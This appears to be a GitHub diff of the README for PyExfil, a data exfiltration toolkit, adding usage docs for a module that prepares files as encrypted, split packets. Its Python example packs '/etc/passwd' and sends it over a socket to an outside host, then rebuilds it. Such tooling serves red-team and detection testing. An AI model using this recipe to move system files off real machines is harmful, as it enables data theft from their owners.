You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Please notice that although we have tried to keep this a collection of relatively separated stand alone modules so that converting them to static binaries for various operating systems would be as easy as possible, some things we have decided to turn into modules that would be shared across the board while attempting to keep is as depency free as possible. Such a component for now is `pyexfil/includes/prepare`. This module contains the methos of converting files (compressing, encrypting, encoding and splitting) into chunks ready to be sent or decoded.
344
+
345
+
You can use it in the following way:
346
+
347
+
```python
348
+
from pyexfil.includes.prepare import PrepFile, RebuildFile, DecodePacket
349
+
350
+
proc = PrepFile('/etc/passwd', kind='binary') # will yield a dictionary
351
+
352
+
# Send the data over
353
+
sock = socket.socket()
354
+
sock.connect(('google.com', 443))
355
+
for i in proc['Packets']:
356
+
sock.send(i)
357
+
sock.close()
358
+
359
+
# Rebuilding the data:
360
+
conjoint = []
361
+
for packet in proc['Packets']:
362
+
b = DecodePacket(packet)
363
+
conjoint.append(b)
364
+
365
+
# Verify and rebuild the file:
366
+
print RebuildFile(conjoint)
367
+
368
+
369
+
```
370
+
371
+
341
372
## Future Stuff
342
373
### Version Alpha
343
374
-[X] Check why HTTP Cookie exfiltration keeps failing CRC checks. (Fixed in patch #7 by Sheksa)
0 commit comments